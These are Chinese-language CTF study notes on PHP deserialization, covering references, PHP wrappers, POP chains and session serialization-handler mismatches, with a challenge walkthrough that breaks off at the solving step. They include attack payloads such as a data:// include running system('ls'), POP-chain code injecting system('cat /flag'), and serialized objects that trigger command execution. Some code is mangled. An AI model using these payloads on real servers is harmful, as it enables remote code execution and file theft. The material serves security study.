在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
$A = &$B;
浅拷贝的特点:
- 优点:速度快,占用内存少。
- 缺点:原对象和拷贝对象共享引用类型数据,修改其中一个会影响另一个。
补充(implode)
implode 是 PHP 中用于将数组元素拼接成字符串的内置函数,属于“数组转字符串”的常用工具。
基本用法
语法:implode(分隔符, 数组)
- 分隔符:可选参数(默认是空字符串
""),用于连接数组元素的字符/字符串。 - 数组:必须参数,要拼接的数组(仅处理索引数组的“值”,忽略关联数组的“键”)。
示例
$hobbies = ["Reading", "Hiking", "Cooking"];
// 用逗号+空格分隔
echo implode(", ", $hobbies); // 输出:Reading, Hiking, Cooking
// 无分隔符(默认)
echo implode("", $hobbies); // 输出:ReadingHikingCooking
【影响的是输出时数组元素之间的衔接方式】
注意
- 与
explode()(字符串转数组)功能相反,是 PHP 处理数组和字符串转换的常用组合。 - 对空数组使用时,返回空字符串
""。
二、深拷贝(Deep Copy):复制“全部”
深拷贝会递归复制对象本身,以及对象内部所有的引用类型数据——原对象和拷贝对象完全独立,修改其中一个不会影响另一个。
例子(PHP 代码):
要实现深拷贝,需要手动处理引用类型(比如在 __clone() 方法里复制数组):
class User {
public $name;
public $hobbies;
public function __construct($name, $hobbies) {
$this->name = $name;
$this->hobbies = $hobbies;
}
// 重写 __clone() 实现深拷贝
public function __clone() {
$this->hobbies = array_merge([], $this->hobbies); // 复制数组
}
}
$user1 = new User("Alice", ["Reading", "Hiking"]);
$user2 = clone $user1;
$user2->hobbies[] = "Cooking";
// 结果:原对象的 hobbies 不受影响!
echo "原对象 hobbies:" . implode(", ", $user1->hobbies);
// 输出:Reading, Hiking
echo "拷贝对象 hobbies:" . implode(", ", $user2->hobbies);
// 输出:Reading, Hiking, Cooking
深拷贝的特点:
- 优点:原对象和拷贝对象完全独立,修改互不影响。
- 缺点:速度慢,占用内存多(因为要递归复制所有引用类型)。
补充(clone如何实现)
$this->hobbies = array_merge([], $this->hobbies); 的含义
这句话的作用是创建一个原数组的“独立副本”,从而实现对 $hobbies` 数组的**深拷贝**。
### 逐部分拆解
1. **`array_merge([], $this->hobbies)**
array_merge()是 PHP 的数组合并函数,接受多个数组作为参数,返回合并后的新数组。- 这里用空数组
[]和原数组$this->hobbies` 合并,相当于**把原数组的所有元素“复制”到一个新的空数组里**,最终得到一个和原数组内容完全一致,但内存地址不同的**新数组**。
2. **`$this->hobbies = ...**
把新生成的数组赋值给当前对象的 $hobbies` 属性,
这样拷贝对象的 `$hobbies 就不再和原对象共享同一个数组了。
为什么要这样写?
在之前的浅拷贝例子中,原对象和拷贝对象的 $hobbies` 共享同一个数组(因为数组是引用类型)。而用 `array_merge()` 生成新数组后: - 拷贝对象的 `$hobbies 变成了独立的新数组。
- 修改拷贝对象的
$hobbies`时,原对象的数组不会被影响——这就是深拷贝的关键。 ### 类似的替代写法 除了 `array_merge()`,还可以用以下方式实现数组的深拷贝:- `$this->hobbies = $this->hobbies;` ❌ 错误:直接赋值还是引用,没有新建数组。- `$this->hobbies = [...$this->hobbies];` ✅ 用 PHP 7.4+ 的“展开运算符”,同样生成新数组。- `$this->hobbies = array_slice($this->hobbies, 0);✅ 用array_slice()截取整个数组,返回新数组。
核心逻辑都是:创建一个内容相同的新数组,替换掉原引用。
三、深浅拷贝的核心区别
|
对比维度 |
浅拷贝(Shallow Copy) |
深拷贝(Deep Copy) |
|
复制范围 |
只复制对象本身,不复制内部引用类型 |
复制对象本身 + 所有内部引用类型 |
|
数据独立性 |
引用类型数据共享,修改会互相影响 |
完全独立,修改互不影响 |
|
性能消耗 |
低(只复制表面) |
高(递归复制所有内容) |
|
适用场景 |
对象内部无引用类型,或不需要独立修改 |
对象内部有引用类型,且需要完全独立 |
总结
- 浅拷贝像**“复印文件”**:文件内容和原文件一样,但如果文件里有“链接”,点击后还是会跳转到原链接的内容。
- 深拷贝像**“下载文件”**:把文件和里面的所有内容都保存到本地,修改本地文件不会影响原文件。
简单来说:浅拷贝是“共享内部数据”,深拷贝是“完全独立”~ 📄
4. 利用PHP伪协议
配合PHP伪协议实现文件包含、命令执行等漏洞。如glob://伪协议查找匹配的文件路径模式。
PHP伪协议的含义
PHP伪协议(PHP Wrappers)是PHP内置的、用于访问不同类型资源的特殊“协议格式”,它扩展了PHP对文件/数据的读取能力,不仅能读取本地文件,还能处理内存数据、网络资源等。
简单来说:普通的文件读取是用file:///path/to/file.txt,而PHP伪协议可以用
php://input读取POST数据、data://直接嵌入数据,相当于给PHP开了“多种资源访问的通道”。
常见PHP伪协议及用途
PHP默认支持多种伪协议,以下是核心几种:
file://:访问本地文件系统
-
- 最基础的伪协议,用于读取本地文件(默认不写协议时,PHP也会用这个)。
- 示例:
file_get_contents("file:///var/www/html/test.txt")
php://:访问PHP输入/输出流
-
php://input:读取POST请求的原始数据(常用于接收JSON/XML格式的POST数据)。php://output:输出内容到浏览器(和echo类似,但属于流操作)。php://filter:对文件内容进行过滤处理(比如read=convert.base64-encode可将文件转Base64)。
data://:直接嵌入数据(RFC2397标准)
-
- 用
data://协议直接在URL中嵌入文本/二进制数据,无需文件。 - 示例:
data://text/plain;base64,SGVsbG8gV29ybGQh(Base64解码后是“Hello World!”)。
- 用
phar://:访问PHAR归档文件
-
- PHAR是PHP的“压缩包”格式,
phar://可读取归档内的文件(常用于PHP应用的打包)。
- PHAR是PHP的“压缩包”格式,
注意
PHP伪协议的能力受php.ini配置限制(比如allow_url_fopen、allow_url_include),且部分协议可能被用于文件包含漏洞(需谨慎使用,避免安全风险)。
简单总结:PHP伪协议是PHP“访问不同资源的统一接口”,让代码能灵活处理本地文件、网络数据、内存流等~ 📡
大白话版
用大白话讲PHP伪协议
PHP伪协议可以理解为PHP的“万能文件访问通道”——它让PHP能通过
file_get_contents()、include()等普通文件函数,不仅能读本地文件,还能直接读网络数据、内存数据、甚至把一段文本当文件用。
简单说:普通文件路径是“直接读某个文件”,伪协议是“通过特殊规则读不同类型的资源”,相当于给PHP开了“多种资源的快捷访问方式”。
举个生活中的例子
你平时用手机“打开文件”,只能选本地相册、文档;但伪协议就像手机的“云文档”“网页保存”功能——不仅能打开本地文件,还能直接打开微信传输的临时数据、网页上的文字,甚至把你输入的一段文字直接当文件打开。【多种】
最常见的伪协议场景(用大白话解释)
php://filter:读PHP文件源码
比如你想查看网站的index.php代码,但直接访问会被执行看不到源码。用伪协议可以把源码转成Base64编码输出,再解码就能看到:file_get_contents("php://filter/convert.base64-encode/resource=index.php")php://input:读POST提交的原始数据
比如前端用POST传了一段JSON数据,PHP用这个伪协议可以直接拿到原始的JSON字符串,不用解析表单。data://:把一段文字当文件用
比如你想直接让PHP执行一段代码,不用写文件:include("data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpPz4=")
这里的Base64解码后是<?php system('ls');?>,PHP会直接执行这段代码。
核心逻辑
伪协议的格式是**协议名://参数/资源**,比如php://filter/编码规则/要读的文件。PHP看到这种格式,就知道要调用对应的“资源处理器”,而不是直接读本地文件。
简单总结:伪协议是PHP的“资源访问快捷键”,让普通文件函数能处理更多类型的数据~ 🚀
POP链构造
POP链构造的核心逻辑
POP链(Property-Oriented Programming)是PHP反序列化漏洞中的关键技术,通过串联多个类的魔术方法和属性,让反序列化后的对象自动触发恶意代码执行。简单说就是:用“属性传递”的方式,把多个类的方法像链条一样串起来,最终触发目标操作。
经典POP链示例(读取flag.php)
以下是一个CTF中常见的简单POP链构造场景,通过3个类的魔术方法联动,实现读取flag.php的功能:
1. 目标代码(存在反序列化入口)
class A {
public $obj;
// 魔术方法:对象销毁时触发
public function __destruct() {
echo $this->obj;
// 触发$this->obj的__toString()方法
}
}
class B {
public $file = "flag.php";
// 魔术方法:对象被当作字符串时触发
public function __toString() {
return file_get_contents($this->file);
// 读取文件内容
}
}
// 反序列化入口(用户可控输入)
$payload = $_GET['payload'];
unserialize($payload);
2. 构造POP链的思路
- 链头:
A::__destruct()(反序列化后对象销毁时自动触发) - 中间环节:
A->obj赋值为B对象,`echo this->obj`会触发`B::__toString()` - 链尾:
`B::__toString()`调用`file_get_contents()`读取`flag.php`
3. 生成Payload的代码 ``
`php
// 构造A对象,将其obj属性指向B 对象
a = new A();a−>obj=newB();
//序列化后得到
Payload echo urlencode(serialize(a));
4. 触发流程
当用户传入序列化后的`$a`对象时:
1. 反序列化生成`A`对象
→ 2. 脚本结束时`A`对象销毁,触发`A::__destruct()`
→ 3. `echo $a->obj`触发`B::__toString()`
→ 4. `B::__toString()`读取`flag.php`并输出内容。
### 进阶POP链示例(执行恶意代码)
如果目标是执行`eval()`等危险函数,可通过更多类的联动构造链:
#### 1. 目标代码
```php
class C {
public $d;
public function __toString() {
return $this->d->getValue(); // 调用D类的getValue()
}
}
class D {
public $e;
public function getValue() {
return $this->e; // 返回E对象,触发E::__toString()
}
}
class E {
public $f = "phpinfo();";
public function __toString() {
eval($this->f); // 执行恶意代码
}
}
$payload = $_GET['payload'];
unserialize($payload);
```
#### 2. 构造链的思路
`C::__toString()` → `D::getValue()` → `E::__toString()` → `eval()`
#### 3. Payload构造
```php
$c = new C();
$c->d = new D();
$c->d->e = new E();
$c->d->e->f = "system('cat /flag');"; // 替换为任意恶意代码
echo urlencode(serialize($c));
构造POP链的关键步骤
- 找链头:优先找自动触发的魔术方法(如
__destruct()、__wakeup()) - 找中间环节:通过类的属性传递,将多个魔术方法/普通方法串联
- 找链尾:最终触发的危险操作(如
eval()、file_get_contents())
核心原则:让每个类的属性成为下一个方法的“触发器”,像多米诺骨牌一样推动执行流程。 🧩
PHP session反序列化
什么是 php session
谈 PHP session之前,必须要知道什么是session,那么到底什么是session呢?
Session一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。不同语言的会话机制可能有所不同,这里仅讨论PHP session机制。
PHP session可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别,
所以seesion 的安全性相对较高。【存储会话信息,以及修改会话设置】
session请求过程
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。
当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头,将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
session_start的作用
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的
PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为
sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。
【会话开始,根据客户端给的内容PHPSESSID来获取对应会话数据,两种情况,
若存在(会话数据),则反序列化来得到数据内容和,并填充到变量里,
若不存在(会话数据),则创建一个文件,
如果客户端未发送内容PHPSESSID,则创建PHPSESSID,并返回set-cookie】

Set-Cookie
是HTTP响应头,用于让服务器“命令”浏览器存储一段键值对数据(即Cookie)
Set-Cookie是服务器给浏览器的“身份标签”,让网站记住你是谁~ 🍪
最常见的Set-Cookie场景
- 登录状态保持
你登录某网站时,服务器返回:Set-Cookie: session_id=abc123; Path=/; HttpOnly
浏览器存储后,每次访问该网站都会带上session_id=abc123,服务器通过这个ID识别
“你是已登录用户”。
- 记住用户名
勾选“记住我”后,服务器可能返回:Set-Cookie: username=xiaoming; Expires=Fri, 15 Dec 2026 23:51:08 GMT
这个Cookie会存到2026年,下次打开网站自动填充用户名。
简单工作流程
- 服务器发指令:你访问
example.com,服务器返回响应头带Set-Cookie - 浏览器存Cookie:把Cookie存在本地(不同浏览器存储位置不同)
- 浏览器自动带回:下次访问
example.com,浏览器自动在请求头加Cookie: ... - 服务器识别用户:通过Cookie的值确认你的身份或状态
Session存储机制
PHP中的Session中的内容并不是放在内存中的,而是以文件的方式来存储的,
存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,
文件的内容就是Session值的序列化之后的内容。
先来大概了解一下PHP Session在php.ini中主要存在以下配置项:
|
Directive |
含义 |
|
|
设定用户自定义session存储函数, 如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)。 默认为files 【就是自定义存储类型】 //save 存储 |
|
|
设置session的存储路径, 默认在/tmp |
|
|
定义用来序列化/反序列化的处理器名字。 默认使用php。 |
|
|
指定会话模块是否在请求开始时启动一个会话, 默认为0 不启动 |
|
|
将上传文件的进度信息存储在session中。 默认开启 // |
|
|
一旦读取了所有的POST数据,立即清除进度信息。 【定期清理信息呀呀呀】 默认开启 |
在PHP中Session有三种序列化的方式,分别是
php,php_serialize,php_binary,不同的引擎所对应的Session的存储的方式不同
|
存储引擎 |
存储方式 |
|
|
键名的长度对应的 ASCII 字符 + 键名 + 经过 |
|
|
键名 + 竖线 + 经过 |
|
|
(PHP>5.5.4) 经过 |
下面通过小例子来展示一下存储方式的不同:
php处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['username'] = $_GET['username'];
?>
逐行代码解释
这段PHP代码用于配置Session序列化方式并存储用户输入到Session,每行作用如下:
error_reporting(0);
//关闭所有PHP错误提示(即使代码有语法错或运行错,也不会在页面显示错误信息)。
ini_set('session.serialize_handler','php');
//用ini_set()修改PHP配置:将Session序列化处理器设为php
//(PHP默认的序列化格式,类似serialize()函数的输出)。
//序列化处理器决定了Session数据在服务器存储时的格式
//(比如还有php_binary/php_serialize等格式)。
session_start();
//启动/恢复用户的Session会话:
//如果用户是第一次访问,生成新的Session ID并创建Session文件;
//如果已存在Session,读取服务器上对应的Session文件,恢复之前存储的数据。
$_SESSION['username'] = $_GET['username'];
//从URL的username参数(比如?username=xiaoming)获取用户输入;
//将输入的值存入Session的username字段,后续请求可通过$_SESSION['username']读取这个值
//(比如记住登录状态)。
核心风险提示
这段代码存在反序列化漏洞风险:
因为session.serialize_handler被强制设为php,
如果用户传入的username参数包含恶意序列化字符串(比如构造POP链),
当Session被反序列化时可能触发代码执行。
建议:
避免直接将用户可控输入存入Session,或严格过滤输入内容。 🚨
不太懂???
漏洞原理拆解(用“快递箱”类比)
要理解这个风险,先搞懂3个核心概念:
1. Session的“存”与“取”逻辑
存的时候:
PHP会把$_SESSION`里的内容**序列化**
(比如把`['username'=>'小明']`变成`a:1:{s:8:"username";s:2:"小明";}`这种字符串),
存在服务器的Session文件里。
【存储,以字符串形式存储】
取的时候:
下次请求时,PHP会把Session文件里的字符串**反序列化**(还原成原来的数组/对象),
再赋值给`$_SESSION。
2. 为什么session.serialize_handler=php是风险点?
php这个序列化格式有个特点:
会自动识别并反序列化对象。
如果用户传入的username不是普通字符串,而是恶意构造的“对象序列化字符串”
(比如O:5:"User":1:{s:3:"cmd";s:6:"whoami";}),存到Session后,
下次反序列化时就会:
自动创建这个User类的对象;
如果这个类里有魔术方法(比如__wakeup()/__destruct()),
这些方法会自动执行——而恶意代码就藏在这些方法里!
3. 举个“小偷撬锁”的例子
假设服务器上有个危险的类:
class Evil {
public $cmd;
function __destruct() {
system($this->cmd); // 执行系统命令!
}
}
用户传入username=O:4:"Evil":1:{s:3:"cmd";s:6:"whoami";}(这是Evil对象的序列化字符串):
代码把这个字符串存到$_SESSION['username'];
下次请求时,PHP反序列化Session,自动创建Evil对象;
脚本结束时,__destruct()方法触发,执行whoami命令——服务器被攻击了!
简单总结风险链
用户传恶意对象字符串 → 存到Session → 下次反序列化时自动执行对象里的恶意代码
为什么“过滤输入”能防?
如果把用户输入里的O:(对象序列化的开头标记)过滤掉,
就没法构造恶意对象了——相当于“把小偷的撬锁工具没收”~ 🛡️
php_binary处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['username'] = $_GET['user'];
?>
逐行代码解释
这段PHP代码的核心逻辑是配置Session序列化格式并存储用户输入,每行作用如下:
error_reporting(0);
//关闭所有PHP错误提示(即使代码有语法或运行错误,页面也不会显示错误信息,常用于隐藏开发细节)。
ini_set('session.serialize_handler','php_binary');
//用ini_set()临时修改PHP配置:将Session序列化处理器设为php_binary格式。
//php_binary是PHP支持的序列化格式之一,与默认的php格式相比,
//它会在每个Session键前添加1字节的长度标识(比如键username长度是8,就会先写一个\x08字节)。
session_start();
//启动/恢复用户的Session会话:
//首次访问时生成新Session ID,创建服务器端的Session存储文件;
//非首次访问时,读取对应Session文件,恢复之前存储的数据。
$_SESSION['username'] = $_GET['user'];
//从URL的user参数(比如?user=zhangsan)获取用户输入;
【即通过Get的方式,url那里去传参成功】
//将输入值存入Session的username字段,后续请求可通过$_SESSION['username']`
//读取(比如实现“记住用户”的功能)。
### 格式差异补充
`php_binary`与默认`php`格式的序列化结果对比
(以`$_SESSION['username']='zhangsan'为例):
php格式:a:1:{s:8:"username";s:8:"zhangsan";}(纯文本,易读)
php_binary格式:\x08usernamezhangsan(开头的\x08是键username的长度,整体更紧凑但不可读)
这种格式的选择会影响Session数据在服务器的存储方式,
但核心风险与之前类似:若用户输入包含恶意序列化内容,仍可能触发反序列化漏洞,需注意过滤输入~ 🚨
php_serialize处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
?>
逐行代码解释
这段PHP代码的核心是配置Session序列化格式并存储用户输入,每行作用如下:
error_reporting(0);
//关闭所有PHP错误输出
//(即使代码有语法/运行错误,页面也不会显示错误信息,常用于生产环境隐藏细节)。
ini_set('session.serialize_handler','php_serialize');
//用ini_set()临时修改Session的序列化处理器为php_serialize格式(PHP官方推荐的通用格式)。
//区别于之前的php或php_binary:
//php_serialize会把整个$_SESSION`数组作为**单个序列化字符串**存储
//(而`php`格式是按“键名+序列化值”的方式拼接)。
session_start();
//启动/恢复用户的Session会话: -
//首次访问:生成Session ID,创建服务器端的Session存储文件; -
//再次访问:读取对应Session文件,恢复之前存在`$_SESSION里的数据。
$_SESSION['username'] = $_GET['user'];
//从URL的user参数(比如?user=lisi)获取用户输入;
//将输入值存入Session的username字段,
//后续请求可通过$_SESSION['username']`读取(比如实现“保持登录状态”)。
格式差异对比(以`$_SESSION['username']='lisi'为例)
| 序列化格式 | 存储的Session内容(服务器端) |
| php(旧格式) | username|s:4:"lisi"(键+分隔符+值序列化) |
| php_serialize | a:1:{s:8:"username";s:4:"lisi";}(整个数组序列化) |
php_serialize是更规范的格式,但风险本质不变:
如果用户传入恶意序列化字符串(比如构造POP链的对象),
当Session反序列化时仍可能触发代码执行——所以必须严格过滤用户输入! 🛡️
ini_set
ini_set 是PHP内置函数,用于临时修改PHP的配置选项(比如错误级别、Session设置等),
作用范围仅在当前脚本运行期间有效(脚本结束后配置会恢复默认)。
简单说,ini_set是PHP给开发者的“临时配置开关”,方便在代码里灵活调整运行规则~ ⚙️
基础用法
语法:ini_set(配置项名称, 新值);
常见场景示例
- 关闭错误提示
ini_set('display_errors', '0');
临时关闭页面上的PHP错误输出(常用于生产环境)。 - 修改Session序列化方式
ini_set('session.serialize_handler', 'php');
临时将Session的存储格式设为PHP默认的序列化格式。 - 设置脚本超时时间
ini_set('max_execution_time', '300');
临时将脚本最长运行时间改为300秒(默认30秒)。
关键特点
- 临时生效:仅影响当前脚本,不会修改服务器的php.ini配置文件;
- 覆盖优先级:比php.ini的配置优先级更高,但低于
ini_get_all()获取的系统级配置; - 适用范围:只能修改PHP官方文档中标记为“可通过ini_set修改”的配置项。
PHP session反序列化漏洞
PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化,PHP中的Session的实现是没有的问题的,漏洞主要是由于使用不同的引擎来处理session文件造成的。
session.upload_progress.enabled 的含义
session.upload_progress.enabled 是 PHP配置项,用于启用或禁用文件上传进度跟踪功能,
具体解释如下:
- 功能作用:
当用户通过表单上传文件时,PHP会在会话(Session)中记录上传进度(如已上传字节数、总大小、文件名等),开发者可通过$_SESSION变量实时获取进度信息,实现进度条等交互效果。 - 配置值:
-
On(默认):启用上传进度跟踪。Off:禁用该功能。
- 使用前提:
-
- 需开启
session.auto_start或手动调用session_start()。 - 表单需添加
enctype="multipart/form-data"和session.upload_progress.name指定的隐藏字段
- 需开启
(如 <input type="hidden" name="<?php echo ini_get('session.upload_progress.name'); ?>" value="upload_key">)。
应用场景
常用于大文件上传时的进度显示(如视频、压缩包上传),提升用户体验。
若不需要跟踪上传进度,可将其设为 Off 以节省服务器资源。
注意事项
- 该功能依赖Session机制,需确保Session正常工作。
- 上传进度信息会存储在Session中,上传完成后需手动清理(避免占用内存)。
这是PHP中实现文件上传进度跟踪的核心配置项,适用于需要可视化上传进度的Web应用。
_SERVER
_SERVER 是 PHP 中的**超全局变量**,用于存储服务器和执行环境的信息,包含了请求头、路径、脚本位置等关键数据。
它是一个关联数组,无需声明即可在脚本的任何位置使用,常用于获取客户端 IP、请求方法、当前页面 URL 等信息。
常见用法示例 -
- 获取客户端 IP:
`_SERVER['REMOTE_ADDR']` - 获取当前页面 URL:
$_SERVER['REQUEST_URI']` - 获取请求方法:`
$_SERVER['REQUEST_METHOD'](如 GET/POST)method - 获取服务器软件:
$_SERVER['SERVER_SOFTWARE']`(如 Apache/nginx)
注意事项 -
-
- 不同服务器环境下,某些键可能不存在或值不同(如 IIS 和 Apache 的差异)。
- 敏感信息(如 `PHP_AUTH_PW`)需谨慎处理,避免泄露。 -
- 可通过
`print_r($_SERVER)查看所有可用的键值对。 $_SERVER是 PHP 中获取服务器环境信息的核心工具,常用于调试、日志记录和动态页面生成。
PHP信息探针代码是什么
PHP信息探针代码是用于快速获取服务器环境信息的PHP脚本,核心功能是输出PHP配置、服务器信息、扩展模块等内容,而最基础的探针代码就是phpinfo();。
核心代码示例
最常见的探针代码是:
<?php
phpinfo();
?>
- 作用:执行后会生成一个HTML页面,展示PHP的所有配置信息。
- 输出内容:
-
- PHP版本、运行方式(如cgi/fpm)、内存限制等。
- 服务器信息(操作系统、Web服务器类型)。
- 已安装的扩展(如mysql、GD、XML等)。
- 环境变量、上传文件大小限制、脚本运行时间限制等。

扩展应用
- 自定义探针:可以扩展代码,比如:
<?php
phpinfo();
echo "当前服务器IP:" . $_SERVER['SERVER_ADDR']; //输出当前运行PHP脚本的服务器IP地址
echo "当前客户端IP:" . $_SERVER['REMOTE_ADDR']; //输出当前访问服务器的客户端IP地址
?>
- 安全注意事项:
-
- 用于调试时,执行完后应及时删除或重命名文件,避免泄露服务器信息。
- 生产环境禁止使用,防止攻击者利用信息进行攻击。
常见用途
- 调试PHP配置:检查PHP是否安装了扩展(如GD库、MySQL)。
- 服务器环境检测:查看PHP版本、内存限制、上传文件大小等。
- 渗透测试:攻击者可能通过探针获取服务器信息,用于后续攻击。
总结
PHP信息探针代码的核心是phpinfo();,用于快速获取服务器环境信息。它是PHP内置函数,直接执行即可生成详细的PHP配置信息,常用于调试和环境检测。
需要注意的是,在生产环境中使用时要注重安全,因为它会泄露敏感信息。如果您需要检测服务器的运行环境或调试PHP配置,可以使用PHP探针来快速获取系统信息。
如果您需要检测服务器的运行环境或调试PHP配置,可以使用PHP探针来快速获取系统信息。
如何使用
- 创建文件:新建一个PHP文件(如
phpinfo.php),写入代码。 - 上传服务器:将文件上传到Web根目录。
- 访问文件:通过浏览器访问该文件(如
http://example.com/phpinfo.php)。 - 查看信息:页面会显示PHP的所有配置信息。
安全提示
- 生产环境禁用:调试完成后,应及时删除或重命名文件,避免泄露服务器信息。
- 限制访问:如果需要保留,应设置IP访问限制或通过.htaccess加强防护。
常见探针工具
- 雅黑PHP探针:功能更丰富,支持服务器性能检测、数据库连接测试等。
- QingMVC探针:轻量级,主要目的是列出phpinfo()的重要信息。
如果您需要检测服务器的运行环境或调试PHP配置,可以使用PHP探针来快速获取系统信息。
<pre>
echo "<pre>"; 是PHP中用于格式化输出文本的常用代码,
核心作用是让浏览器按照原始文本的换行、空格、缩进格式显示内容(比如数组、代码、日志等)。
为什么需要它?
浏览器默认会忽略文本中的换行和多余空格(把所有内容挤成一行)。
加上<pre>标签后,内容会保持“预格式化”的样子,更易读。
举例对比
比如打印一个数组:
// 没有<pre>的情况
print_r($_SESSION);
// 浏览器显示:Array ( [username] => lisi )(挤成一行)
// 有<pre>的情况
echo "<pre>";
print_r($_SESSION);
// 浏览器显示:
// Array
// (
// [username] => lisi
// )(保留缩进和换行,像代码一样整齐)
<pre>是HTML标签,PHP通过echo输出后,由浏览器解析生效~ 📝
存在对Session变量的赋值
php引擎存储Session的格式为
|
php |
键名 + 竖线 + 经过 serialize() 函数序列处理的值 |
|
php_serialize |
(PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 |
如果程序使用两个引擎来分别处理的话就会出现问题。
比如下面的例子,先使用php_serialize引擎来存储Session:
Session1.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>
接下来使用php引擎来读取Session文件
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class user{
var $name;
var $age;
function __wakeup(){
echo "hello ".$this->name." !"
}
}
?>
///////////////////////////////////////////////////////////////////////
class user{ ... }`
定义一个名为`user`的类,包含2个属性和1个魔术方法:
var $name;:类的公共属性(存储用户名,var是PHP旧版本声明公共属性的语法,等价于public $name`);
`var $age;:类的公共属性(存储年龄);
function __wakeup(){ ... }:PHP的魔术方法——当类的对象被反序列化时,这个方法会自动执行!
方法内逻辑:输出hello [用户名] !(比如对象的$name是zhangsan,就会打印hello zhangsan !)。
漏洞的主要原因在于不同的引擎对于竖杠' | '的解析产生歧义。
对于php_serialize引擎来说' | '可能只是一个正常的字符;
但对于php引擎来说' | '就是分隔符,前面是$_SESSION['username']的键名 ,后面是GET参数经过serialize序列化后的值。
从而在解析的时候造成了歧义,导致其在解析Session文件时直接对' | '后的值进行反序列化处理。
可能有的人看到这里会有疑问,在使用php引擎读取Session文件时,
为什么会自动对' | '后面的内容进行反序列化呢?也没看到反序列化unserialize函数。
这是因为使用了session_start()这个函数 ,看一下官方说明:https://www.php.net/session_start/
可以看到PHP能自动反序列化数据的前提是,现有的会话数据是以特殊的序列化格式存储。

成功触发了user类的魔术方法__wakeup(),结合POP反序列化链就可以造成一些其他的漏洞。
不存在对Session变量的赋值
在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对
(key:value),value中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度。

更多细节请参考:http://php.net/manual/zh/session.upload-progress.php
从上面的大概描述大概得知此漏洞需要session.upload_progress.enabled为on,在上传文件的时候同时POST一个与session.upload_process.name的同名变量。
后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会
反序列化session文件,从中取出这个键。所以漏洞的根本原因还是使用了不同的Session处理引擎。
来看一道Jarvis OJ 平台的 PHPINFO 题目
环境地址:http://web.jarvisoj.com:32784/
题目

代码审计
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
逐行代码解释
这段PHP代码是一个典型的反序列化漏洞演示脚本,核心逻辑是通过类的魔术方法执行代码,每行作用如下:
//A webshell is wait for you
注释:暗示这是一个“webshell”(网页后门)相关的代码,用于提示攻击者目标。
ini_set('session.serialize_handler', 'php');
//临时将Session序列化处理器设为默认的php格式(存储规则:键名|值的序列化字符串)。
session_start();
//启动Session会话:
// 首次访问生成Session ID,
// 非首次访问则自动反序列化服务器上的Session数据到$_SESSION`数组。
class OowoO { ... }`
//定义恶意类`OowoO`,包含1个属性和2个魔术方法:
public $mdzz;
//公共属性,用于存储要执行的代码;
function __construct():
//构造方法——创建类的对象时自动执行,
$this->mdzz = 'phpinfo();';
//默认给$mdzz`赋值为`phpinfo();`(PHP信息探针代码);
`function __destruct()`
//析构方法——当对象被销毁时(比如脚本执行结束)**自动执行**,
eval($this->mdzz);
//用`eval()`函数执行`$mdzz里的代码(eval()会把字符串当作PHP代码运行,是高危函数)。
if(isset($_GET['phpinfo'])) { ... } else { ... }
//若URL带`phpinfo`参数(比如`?phpinfo=1`):
//创建`OowoO`类的对象`$m,触发__construct()给$mdzz`赋值`phpinfo();`;【有个new】
//脚本结束时对象销毁,触发`__destruct()`执行`eval('phpinfo();')`,最终打印PHP环境信息;
//若没有该参数:用`highlight_string()`高亮显示当前文件(`index.php`)的代码,方便查看源码。
核心风险 这个脚本的恶意点在于**`__destruct()`+`eval()`的组合**: -
只要能让服务器反序列化一个`OowoO`对象(比如通过Session注入恶意序列化字符串),
`__destruct()`就会自动执行`eval($mdzz);
如果$mdzz被篡改为system('rm -rf /');这类命令,就能直接控制服务器
——这就是反序列化漏洞的典型利用方式! 🚨
日常开发中,要严格避免eval()等高危函数,同时过滤用户输入的序列化内容~
解题
通过index.php代码可以得知:
1. 是使用php的引擎来读取Session。
